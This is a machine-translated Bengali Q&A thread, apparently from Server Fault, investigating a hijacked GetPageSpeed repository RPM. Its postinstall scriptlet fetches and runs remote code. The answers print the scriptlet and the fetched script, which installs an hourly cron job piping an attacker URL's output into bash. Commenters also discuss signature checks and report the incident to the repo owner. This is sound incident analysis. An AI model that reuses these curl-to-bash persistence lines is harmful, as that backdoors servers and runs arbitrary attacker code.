কীভাবে এই আরপিএম ইনস্টল করে একটি ফাইল তৈরি হয়েছিল?


16

চলমান yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmতৈরি করে /etc/cron.d/sysstat2তবে আরপিএম ফাইলটি অকার্যকর করে দেয়:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

আরপিএম ফাইলটি কীভাবে তৈরি করেছিল এবং কীভাবে দেখি যে এটি কী করেছে?


4
সুতরাং, এই গেটপেজস্পিড ভাবেন লোকেরা কি মালিকানাধীন এবং তারা এটি জানে না, বা তারা নিজেরাই খারাপ আরপিএম প্রকাশ করছে?
অ্যারন কোপলি

1
আমি তিন মাস আগে তাদের সাইট থেকে যে আরপিএম ইনস্টল করেছি তা ভাল ছিল। দূষিতটি গতকাল পোস্ট করা হয়েছিল। আমি মনে করি তারা মালিকানাধীন ছিল এবং তাদের রেপো ব্যবহারকারী যে কেউ মালিকানা পাচ্ছে। দূষিতটি ইয়াম আপডেটের মাধ্যমে নেমে আসছে। আমি তাদের যোগাযোগের ফর্মের মাধ্যমে তাদের একটি ইমেল এবং একটি বার্তা প্রেরণ করেছি।
পাসকাল

এবং এটিও তাদের দ্বারা স্বাক্ষরিত?
অ্যারন কোপলি

1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmআসল ফাইল, এটি এখনও তাদের রেপো একটি পুরানো তারিখ আছে, এবং gpgcheck=1এটি সেট করা হয়।
পাস্কাল

1
আপনি কী ধরনের প্রতিক্রিয়া পাবেন তা সম্পর্কে ওয়াইএমএমভি যদিও সইটিউইথগিফট ডট কম এ ওয়েব অ্যাডমিনের সাথে যোগাযোগ করার পরামর্শ দিন। ওয়েবসাইট নিজেই কখনই প্রতিক্রিয়া জানায় না আমি কোনও ভুল কনফিগার্ড মেইল ​​সার্ভারের সাথে যোগাযোগ করতে কোনও ওয়েবসাইটের হোস্টিং সরবরাহকারীর মধ্য দিয়ে গিয়ে শেষ করেছি।
ড্যারেন

উত্তর:


18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php রয়েছে:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

16

আপনি আবিষ্কার করেছেন যে আরপিএমের স্ক্রিপ্টগুলি ইন্টারনেট থেকে একটি স্ক্রিপ্ট চালায় এবং সেই স্ক্রিপ্টটি বর্তমানে ম্যালওয়্যার কী হতে পারে তা পুনর্নির্দেশ করে। যদিও, আমি কোনও পে-লোডের কিছু খুঁজে পাচ্ছি না যা কিছু করে।

আরপিএম কী ঘটেছিল তা পুরোপুরি ট্র্যাক করতে পারে না কারণ এটি একটি স্বেচ্ছাসেবী স্ক্রিপ্ট চালাচ্ছে।

gpgcheck আপনাকে সাহায্য করবে না, উভয় getpagespeed-extras-7-6.el7.gps.noarch.rpmএবং getpagespeed-extras-release-7-1.el7.gps.noarch.rpmআপনি লিঙ্কযুক্ত উভয়ই বৈধ স্বাক্ষর রয়েছে বলে মনে হচ্ছে:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

রেপো মালিকের কাছে অভিযোগ করুন যে প্যাকেজটি ইন্টারনেট থেকে স্বেচ্ছাসেবক কোড চালায়। যদি এটি অবশ্যই করতে হয় তবে তাদের সফ্টওয়্যার সরবরাহ শৃঙ্খলের সুরক্ষা উন্নত করা দরকার।

ইন্টারনেট অ্যাক্সেস ছাড়াই সফটওয়্যারটির প্রথম ইনস্টলটি করা বা "পোস্ট ইনস্টল" স্ক্রিপ্টটি ম্যানুয়ালি পরিদর্শন করা কিছুটা বিড়বিড় বলে মনে হচ্ছে। তবে দুর্ভাগ্যক্রমে প্যাকেজগুলি যদি এইভাবে খারাপ পরামর্শ দেওয়া কৌশল না করে তবে প্রায় প্রয়োজন বলে মনে হচ্ছে।


পে - লোড হ'ল একটি ক্রোন জব যা প্রতি ঘন্টা ' সাইটিউইথগিফট . com / pwn.php ' ডাউনলোড করে চালায় । বর্তমানে সেখানে কিছুই নেই, তবে এটি যে কোনও সময় পরিবর্তন করতে পারে। আরপিএম অপসারণ করা পেডলোড সরিয়ে দেয় না।
পাস্কাল

তাদের মূল আরপিএমের একটি পোস্ট-ইনস্টল স্ক্রিপ্টলেট নেই। গতকাল কেবলমাত্র সংস্করণটি আপলোড করা হয়েছে (সম্ভবত কোনও হ্যাকার দ্বারা) does
পাস্কল

1
ইন্টারনেট কোড এক্সেক থেকে সংযোজন একটি আইনী ধারণা, না ম্যালওয়ার ক্রু দ্বারা যুক্ত হয়েছে কিনা তা অস্পষ্ট নয় ar দ্বিতীয়টি আরও খারাপ, কারণ এতে বোঝা যায় যে সাইন ইন এবং আপলোড প্রক্রিয়াগুলি আপোস করা হয়েছিল।
জন মাহোয়াল্ড

1

আমার কাছে পাঁচটি ক্লাউডলিনাক্স / সিপ্যানেল সার্ভার রয়েছে যা তাদের উপর এনজিট্রন হয়ে এনগিনেক্সের জন্য ব্যবহৃত ছিল তবে তারা এখন পরিবর্তে লাইটস্পিড ওয়েবসার্ভার চালায়। আমি মনে করি এনজিঙ্ক্রন এটি আনইনস্টল করার সময় পেজযুক্ত রেপোগুলি রেখে যেতে পারে। সিপ্যানেল প্রতি রাতে একটি আপডেট চেক চালায় এবং প্রায় মধ্যরাতে আমার সমস্ত সার্ভার আমাকে একটি ইমেল রিপোর্ট পাঠিয়েছিল:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

পে-লোড সাইটের জন্য অনুসন্ধান আমাকে এখানে নিয়ে গেছে যেখানে আমি দেখতে পাই যে একই দিনে আপনার একই সমস্যা হয়েছিল। সুতরাং আপনার নিজের তথ্য আমার যোগ করতে। /etc/cron.d/sysstat2আমার সমস্ত সার্ভারে একই ফাইল বিদ্যমান।

আমি ফাইলটি মুছে ফেলেছি, রেপোগুলি সরিয়েছি এবং সমস্যাটি জানাতে গেটপেজস্পিডে যোগাযোগ ফর্মটি ব্যবহার করেছি। স্বাস্থ্য সংক্রান্ত সমস্যার কারণে তিনি রেপো বন্ধ করে দিচ্ছিলেন বলে একটি ব্লগ পোস্ট থাকায় রেপোর মালিক অ্যাডব্লিউএল হতে পারে। সুতরাং সম্ভবত আক্রমণকারীটি হয় যে রেপো মনোযোগ দিচ্ছে না, বা শোষণের জন্য একটি খোলা দরজা খুঁজে পেয়েছিল সে সুযোগটি নিয়েছিল।


1
সমঝোতার বিষয়ে আমার ইমেল পাওয়ার পরে রেপো বন্ধ করার বার্তাটি পোস্ট করা হয়েছিল। আমি তাকে আবার রেপো খুলতে এবং অপসারণের জন্য আপডেট হওয়া প্যাকেজগুলি পোস্ট করতে বলেছিলাম /etc/cron.d/sysstat2। তিনি তাই করেছেন।
পাসকাল
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.